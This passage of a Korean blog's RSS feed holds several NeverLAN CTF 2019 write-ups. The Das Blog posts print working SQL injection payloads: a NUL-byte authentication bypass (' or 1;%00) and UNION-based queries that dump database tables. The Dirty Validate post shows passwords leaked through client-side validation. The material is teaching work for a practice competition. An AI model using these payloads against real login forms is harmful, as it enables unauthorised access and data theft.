/&gt;&lt;/p&gt;</description>
      <category>CTF Writups</category>
      <category>neverlanctf</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/60</guid>
      <comments>https://posix.tistory.com/60#entry60comment</comments>
      <pubDate>Mon, 4 Feb 2019 18:48:14 +0900</pubDate>
    </item>
    <item>
      <title>neverlanctf 2019 - Dirty Validate writeup</title>
      <link>https://posix.tistory.com/59</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 488px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9938763B5C58064825&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9938763B5C58064825&quot; width=&quot;488&quot; height=&quot;387&quot; filename=&quot;1.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;자바스크립트로 유저를 인증하도록 했다 합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;링크가 하나 주어지네요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 529px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99B0A23B5C58064916&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99B0A23B5C58064916&quot; width=&quot;529&quot; height=&quot;123&quot; filename=&quot;2.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;링크에 접속하면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;로그인 폼이 하나 보입니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:py&quot;&gt;	  // reference here
	  // https://api.jquery.com/jQuery.ajax/
      // https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/atob

      // For element with id='name', when a key is pressed run this function
      $('#name').on('keypress',function(){
        // get the value that is in element with id='name'
        var that = $('#name');
		// make an ajax request to get the expected username
        $.ajax('webhooks/get_username.php',{})
		.done(function(data)
		{ // once the request has been completed, run this function
			data = JSON.parse(data);
            if( data.usernames.indexOf(that.val()) != -1 ){ // see if the username is in the list
 
              that.css('border', '1px solid green'); // if it matches turn the border green
              $('#output').html('Username is correct'); // state that the user was correct

            }else{ // if the user typed in something incorrect

              that.css('border', ''); // set input box border to default color
              $('#output').html('Username is incorrect'); // say the user was incorrect

            }

          }
        );
      });

      // For the password input now
	  // This is a BAD idea, never validate sensitive data in javascript
      $('#pass').on('keypress', function(){
		// get value for element with id='pass'
        var that = $('#pass');
		// make an ajax request to get the expected password for the given username
        $.ajax('webhooks/get_password.php?user='+encodeURIComponent($('#name').val()),{})
		.done(function(data)
		{// once the request has completed, run this function
			// remove whitespace from data
            data = data.replace(/(\r\n|\n|\r)/gm,&quot;&quot;);
			// check if the data matches the given value
            if(window.atob(data) == that.val()){

			  // if value is correct, show a green border
			  that.css('border', '1px solid green');
			  $('#output').html(window.atob(data));

            }else{

			  // if value is false, remove border
              that.css('border', '');
              $('#output').html('Password is incorrect');

			}

          }
        );
      });&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;소스를 살펴보면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;먼저 아이디를&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;webhooks/get_username.php 페이지에 있는지 확인하고&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;이후 패스워드를&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;webhook/get_password.php?user= 에서 점검하여&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;유효하다면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;base64 복호화 한 후, 화면에 출력하도록 되어 있군요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:py&quot;&gt;https://challenges.neverlanctf.com:1135/webhooks/get_username.php&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 359px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/996CC53B5C58064924&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F996CC53B5C58064924&quot; width=&quot;359&quot; height=&quot;73&quot; filename=&quot;4.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;따라서 webhooks/get_username.php 에 접속하면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;모든 유저 목록을 조회할 수 있었습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:py&quot;&gt;https://challenges.neverlanctf.com:1135/webhooks/get_password.php?user=Dr. Whom&lt;/pre&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 283px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9993F43B5C5806491E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9993F43B5C5806491E&quot; width=&quot;283&quot; height=&quot;31&quot; filename=&quot;6.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;또한&amp;nbsp;webhooks/get_password.php 페이지에서&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;username을 인자로 비밀번호까지 조회할 수 있는데&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;Dr. Whom 의 비밀번호 데이터를&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;복호화 하니, 플래그를 얻을 수 있었습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:py&quot;&gt;flag{D0n't_7rus7_JS}&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>CTF Writups</category>
      <category>neverlanctf</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/59</guid>
      <comments>https://posix.tistory.com/59#entry59comment</comments>
      <pubDate>Mon, 4 Feb 2019 18:40:48 +0900</pubDate>
    </item>
    <item>
      <title>neverlanctf 2019 - Das Blog 2 writeup</title>
      <link>https://posix.tistory.com/58</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 487px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99F23E335C58058B26&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99F23E335C58058B26&quot; width=&quot;487&quot; height=&quot;464&quot; filename=&quot;1.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;Das Blog 에서&amp;nbsp;개선된 문제라고 합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 575px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99CC0A335C58058B28&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99CC0A335C58058B28&quot; width=&quot;575&quot; height=&quot;119&quot; filename=&quot;2.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;이전과 마찬가지로 로그인 페이지가&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;존재하는 것을 볼 수 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 271px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/991C68335C58058B2B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F991C68335C58058B2B&quot; width=&quot;271&quot; height=&quot;123&quot; filename=&quot;3.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;폼도 동일하고&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;심지어 완전히 같은 쿼리로&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;플래그를 얻어낼 수 있었습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:py&quot;&gt;submit=Login&amp;amp;Password=&amp;amp;Username=' union select group_concat(0xa,a,0x3a,b),2 from (select title a,content as b from posts)x;%00&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 648px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99A87C335C58058C1D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99A87C335C58058C1D&quot; width=&quot;648&quot; height=&quot;206&quot; filename=&quot;5.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>CTF Writups</category>
      <category>neverlanctf</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/58</guid>
      <comments>https://posix.tistory.com/58#entry58comment</comments>
      <pubDate>Mon, 4 Feb 2019 18:30:17 +0900</pubDate>
    </item>
    <item>
      <title>neverlanctf 2019 - Das Blog writeup</title>
      <link>https://posix.tistory.com/57</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 481px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99B2FB4B5C58027024&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99B2FB4B5C58027024&quot; width=&quot;481&quot; height=&quot;436&quot; filename=&quot;1.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;Johnny 가 블로그를 개설했는데&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;입력을 escape 하는 방법을 모르겠다고 합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 588px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9938A14B5C58027121&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9938A14B5C58027121&quot; width=&quot;588&quot; height=&quot;178&quot; filename=&quot;2.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;링크에 접속하면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;인삿말과 함께 로그인 페이지에 접속이 가능합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 280px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99D4504B5C58027117&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99D4504B5C58027117&quot; width=&quot;280&quot; height=&quot;121&quot; filename=&quot;3.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;로그인 폼은 별다를 것이 없습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:py&quot;&gt;&lt;p&gt;There was a problem when looking for user. Please try again.&lt;/p&gt;&lt;/pre&gt;&lt;div&gt;&lt;pre class=&quot;brush:py&quot;&gt;&lt;p&gt;Sorry, That Username / Password is incorrect.&lt;/p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;Username에 싱글 쿼트를 삽입하면 쿼리 오류가 뜨는 듯 한데&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;주석을 넣기 위해 '#', '-' 등 특수문자를&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;삽입하면 검색오류로 바뀝니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;이것을 보아, 쿼리 검색을 하기 전에&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;지정된 문자가 있는지 확인하고 있다면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;검색 오류를 뿜고 바로 넘겨버리는 것이 아닌가&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;생각해 볼 수 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:py&quot;&gt;submit=Login&amp;amp;Password=&amp;amp;Username=' or 1;%00&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;NUL 은 필터링 되지 않았으므로&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;NUL 문자를 끼워넣어 뒷 부분을 무효화 시켰습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:py&quot;&gt;You are now logged in as Johnny with permissions admin
click here to go to the main page&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;그러자 로그인이 가능했고&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;Johnny 의 admin 권한으로 접속된 것을 확인할 수 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:py&quot;&gt;submit=Login&amp;amp;Password=&amp;amp;Username=' union select group_concat(0xa,a,0x3a,b),2 from (select column_name as a,table_name as b from information_schema.columns)x;%00&lt;/pre&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 320px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99DD254B5C5802711D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99DD254B5C5802711D&quot; width=&quot;320&quot; height=&quot;394&quot; filename=&quot;5.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;데이터베이스에 존재하는&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;모든 테이블과 컬럼을 조회하기 위해&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;a href=&quot;http://www.securityidiots.com/Web-Pentest/SQL-Injection/basic-injection-single-line-or-death.html&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;Death Row Injection 기법&lt;/a&gt;을 사용 하였습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;조금 더 번거롭겠지만&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;limit 0, 1 등의 방법으로 시도하셔도 무관합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:py&quot;&gt;submit=Login&amp;amp;Password=&amp;amp;Username=' union select group_concat(0xa,a,0x3a,b),2 from (select title a,content as b from posts)x;%00&lt;/pre&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 641px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/995BF84B5C58027220&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F995BF84B5C58027220&quot; width=&quot;641&quot; height=&quot;158&quot; filename=&quot;7.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;posts 테이블 내의 컬럼 내에서 플래그를 발견할 수 있었습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>CTF Writups</category>
      <category>neverlanctf</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/57</guid>
      <comments>https://posix.tistory.com/57#entry57comment</comments>
      <pubDate>Mon, 4 Feb 2019 18:26:59 +0900</pubDate>
    </item>
    <item>
      <title>neverlanctf 2019 - Cover the BASEs writeup</title>
      <link>https://posix.tistory.com/56</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 481px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/999380475C5800381F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F999380475C5800381F&quot; width=&quot;481&quot; height=&quot;368&quot; filename=&quot;1.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;문제를 보면 '==' 로 끝나는&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;문자열이 하나 주어져 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;base64 문자열이 종종&amp;nbsp;'=' 로 끝나곤 하죠.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;물론 그렇지 않은 경우도 있지만,&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;암호화&amp;nbsp;방식과 관련이 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;본래 8비트씩 붙어있던 데이터를 분리해다가&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;6비트씩으로 재결합 하다보니 남는 비트수를 표현하기 위해&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;붙는 것이 '=' 입니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;a href=&quot;https://ko.wikipedia.org/wiki/%EB%B2%A0%EC%9D%B4%EC%8A%A464&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;자세한 설명은&lt;/a&gt;&lt;a href=&quot;https://ko.wikipedia.org/wiki/%EB%B2%A0%EC%9D%B4%EC%8A%A464&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;&amp;nbsp;여기를 참고하시면 되겠습니다.&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;단순히 데이터의 바이트 수가 3배수가 아니면&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;모조리 '='가 붙는다고 알아두어도 상관은 없습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:py&quot;&gt;flag{D1d_y0u_d0_th3_Pr3_CTF}&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;base64 복호화를 거치면 플래그를 얻을 수 있습니다.&lt;br /&gt;&lt;/p&gt;</description>
      <category>CTF Writups</category>
      <category>neverlanctf</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/56</guid>
      <comments>https://posix.tistory.com/56#entry56comment</comments>
      <pubDate>Mon, 4 Feb 2019 18:13:00 +0900</pubDate>
    </item>
  </channel>
</rss>